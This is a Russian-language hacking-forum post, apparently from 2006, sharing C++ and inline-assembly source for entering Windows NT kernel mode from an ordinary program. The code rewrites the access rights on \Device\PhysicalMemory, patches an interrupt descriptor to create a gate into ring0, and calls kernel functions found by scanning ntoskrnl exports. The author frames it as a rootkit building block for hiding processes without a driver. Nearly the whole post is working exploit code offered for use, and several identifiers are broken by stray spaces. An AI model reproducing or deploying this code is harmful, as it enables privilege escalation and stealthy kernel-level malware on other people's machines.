Итак, заморочался давеча и решил выложить такую няму, как прямой переход в режим ядра NT и вызов ядерных функций (твой руткит в твоем exe

). В данном случае для прорыва в ring0 используется методика калгейта. В примере мы сначала ловим адрес ntoskrnl из ring3 режима, затем переходим в ring0 и начинаем сканировать образ ntoskrnl на предмет экспортов. Из юзер мода эт кстати невозможно. Находим ExAllocatePoolWithTag и вызываем ее (память выделяет короче, и возвращает указатель на выделенный участок) после чего возвращаемся в ring3 и демонстрируем юзеру за счет MessageBox'a плод наших трудов. Сей пример мягко говоря намекает на то что такие фичи как скрытие процесса (что реализовалось при помощи драйверов) терь возможно и без них...
-------------------------------
main.cpp
-------------------------------
#include <windows.h>
int __cdecl ring0_execute(LPVOID lpKernelProc);
DWORD ring0_GetKernelBase();
DWORD g_KernBase;
DWORD g_Address;
DWORD g_Mem;
PVOID R0_GetProcAddress(PCHAR pFunctionName)
{
PVOID pFunctionAddress = NULL;
PVOID ModuleBase = (PVOID)g_KernBase;
__try{
PIMAGE_DOS_HEADER dos =(PIMAGE_DOS_HEADER) ModuleBase;
PIMAGE_NT_HEADERS nt =(PIMAGE_NT_HEADERS)((ULONG) ModuleBase + dos->e_lfanew);
PIMAGE_DATA_DIRECTORY expdir = (PIMAGE_DATA_DIRECTORY)
(nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT);
ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exports =(PIMAGE_EXPORT_DIRECTORY)((ULONG) ModuleBase + addr);
PULONG functions =(PULONG)((ULONG) ModuleBase + exports->AddressOfFunctions);
PSHORT ordinals =(PSHORT)((ULONG) ModuleBase + exports->AddressOfNameOrdinals);
PULONG names =(PULONG)((ULONG) ModuleBase + exports->AddressOfNames);
ULONG max_name =exports->NumberOfNames;
ULONG max_func =exports->NumberOfFunctions;
ULONG i;
for (i = 0; i < max_name; i++){
ULONG ord = ordinals[i];
if(i >= max_name || ord >= max_func){
return NULL;
}
if (functions[ord] < addr || functions[ord] >= addr + size){
if (strcmp((PCHAR) ModuleBase + names[i], pFunctionName) == 0){
pFunctionAddress =(PVOID)((PCHAR) ModuleBase + functions[ord]);
break;
}
}
}
}
__except(EXCEPTION_EXECUTE_HANDLER){
pFunctionAddress = NULL;
}
return pFunctionAddress;
}
//
// WARNING! This routine should be executed in KERNEL MODE ONLY
//
void R0_DISCOVER_AND_EXECUTE()
{
g_Address = (DWORD)R0_GetProcAddress("ExAllocatePoolWithTag");
__asm{ // вызываем ExAllocatePoolWithTag - выделяем 100байт памяти ядра
push eax
mov eax, g_Address
push 0x12345678
push 0x64
push 0x1
call eax
mov g_Mem, eax
pop eax
}
}
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
char s_buff[256];
g_KernBase = ring0_GetKernelBase();
if(!g_KernBase){
MessageBox(0, "Couldn\'t discover kernel base address", "Error", MB_OK|MB_ICONWARNING);
return 0;
}
ring0_execute(R0_DISCOVER_AND_EXECUTE);
wsprintf(s_buff, "Execute complete. ExAllocatePoolWithTag address: 0x%.8X, allocated memory address: 0x%.8X", g_Address, g_Mem);
MessageBox(0, s_buff, "Done", MB_OK|MB_ICONWARNING);
return 0;
}
-------------------------
ring0.cpp (калгейт)
-------------------------
/*
* terazin-b by sn0w [at antichat dot ru]
* (c) leaders of antichat team, 2006
*
* greetz: zaco skvoznoy kez
*
*/
/*
* ring0.cpp - kernel mode code execution engine
*
*/
#include <windows.h>
#include <aclapi.h>
#define INTNUMBER 0F0h
#define SE_KERNEL_OBJECT 6
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define INIT_UNICODE(_var,_buffer) \
UNICODE_STRING _var = { \
sizeof (_buffer) - sizeof (WORD), \
sizeof (_buffer), \
_buffer }
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef (__stdcall *_NtOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes);
//
// Kernel Mode Execution routine
//
// return values: 0 - failed to execute, 1 - execute success
// NOTE: when a function fails you can attempt to recall it.
//
// WARNING! when you want to modify functional code you must
// take your attention on automatic variables inside body.
// default stack restore is /add esp, 60h/
//
//
int __cdecl ring0_execute(LPVOID lpKernelProc)
{
_NtOpenSection NtOpenSection = (_NtOpenSection)GetProcAddress(GetModuleHandle("nt dll.dll"),"NtOpenSection");
OBJECT_ATTRIBUTES ObAttributes;
EXPLICIT_ACCESS Access;
HANDLE hSection;
LPVOID pbMap;
PACL OldDacl=NULL, NewDacl=NULL;
PSECURITY_DESCRIPTOR SecDesc=NULL;
INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");
InitializeObjectAttributes(&ObAttributes,&ObString ,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL);
Access.grfAccessPermissions = SECTION_MAP_WRITE;
Access.grfAccessMode = GRANT_ACCESS;
Access.grfInheritance = NO_INHERITANCE;
Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
Access.Trustee.pMultipleTrustee = NULL;
Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
Access.Trustee.TrusteeType = TRUSTEE_IS_USER;
Access.Trustee.ptstrName = "CURRENT_USER";
if(NtOpenSection(&hSection,SECTION_MAP_READ|SECTIO N_MAP_WRITE,&ObAttributes)==-1)
goto hook_interrupt;
NtOpenSection(&hSection,MEM_MAPPED|MEM_PRIVATE,&Ob Attributes);
GetSecurityInfo(hSection,(SE_OBJECT_TYPE)SE_KERNEL _OBJECT,DACL_SECURITY_INFORMATION,0,0,&OldDacl,0,& SecDesc);
SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
SetSecurityInfo(hSection, (SE_OBJECT_TYPE)SE_KERNEL_OBJECT,DACL_SECURITY_INF ORMATION,NULL,NULL,NewDacl,NULL);
CloseHandle(hSection);
NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_M AP_WRITE,&ObAttributes);
__asm {
hook_interrupt:
push eax
sidt fword ptr [esp - 2]
pop esi
btr esi, 1fh
push 1
push esi
push 0
push SECTION_MAP_WRITE
push hSection
call dword ptr ds:MapViewOfFile
cmp eax, 0
jnz map_ok
push hSection
call dword ptr ds:CloseHandle
xor eax, eax
add esp, 60h // stack restore
ret
map_ok:
mov [pbMap], eax
and esi, 0fffh
lea esi, dword ptr [eax + esi + INTNUMBER * 8]
fild qword ptr [esi]
call skip_ring0
// begin ring 0
call lpKernelProc
iretd
// end ring 0
skip_ring0:
pop word ptr [esi]
mov byte ptr [esi + 2], 8
mov byte ptr [esi + 5], 0eeh
pop word ptr [esi + 6]
int INTNUMBER
}
UnmapViewOfFile(pbMap);
CloseHandle(hSection);
return 1;
}
//
// some auxilary funcs
//
#define NTSTATUS LONG
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define DEF_KERNEL_BASE 0x80400000L
#define SystemModuleInformation 11
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION;
DWORD ring0_GetKernelBase()
{
HANDLE hHeap = GetProcessHeap();
NTSTATUS Status;
ULONG cbBuffer = 0x8000;
PVOID pBuffer = NULL;
DWORD retVal = DEF_KERNEL_BASE;
HMODULE hntdll = GetModuleHandle("ntdll.dll");
NTSTATUS (WINAPI * _NtQuerySystemInformation)(UINT, PVOID, ULONG, PULONG);
*(FARPROC *)&_NtQuerySystemInformation = GetProcAddress(hntdll, "ZwQuerySystemInformation");
do
{
pBuffer = HeapAlloc(hHeap, 0, cbBuffer);
if (pBuffer == NULL)
return DEF_KERNEL_BASE;
Status = _NtQuerySystemInformation(SystemModuleInformation,
pBuffer, cbBuffer, NULL);
if(Status == STATUS_INFO_LENGTH_MISMATCH)
{
HeapFree(hHeap, 0, pBuffer);
cbBuffer *= 2;
}
else if(Status != STATUS_SUCCESS)
{
HeapFree(hHeap, 0, pBuffer);
return DEF_KERNEL_BASE;
}
}
while (Status == STATUS_INFO_LENGTH_MISMATCH);
DWORD numEntries = *((DWORD *)pBuffer);
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)((char *)pBuffer + sizeof(DWORD));
for(DWORD i = 0; i < numEntries; i++)
{
if(strcmpi(smi->ImageName, "ntoskrnl.exe"))
{
retVal = (DWORD)(smi->Base);
break;
}
smi++;
}
HeapFree(hHeap, 0, pBuffer);
return retVal;
}
---------------
усе. компилим вместе
удачи на поприще))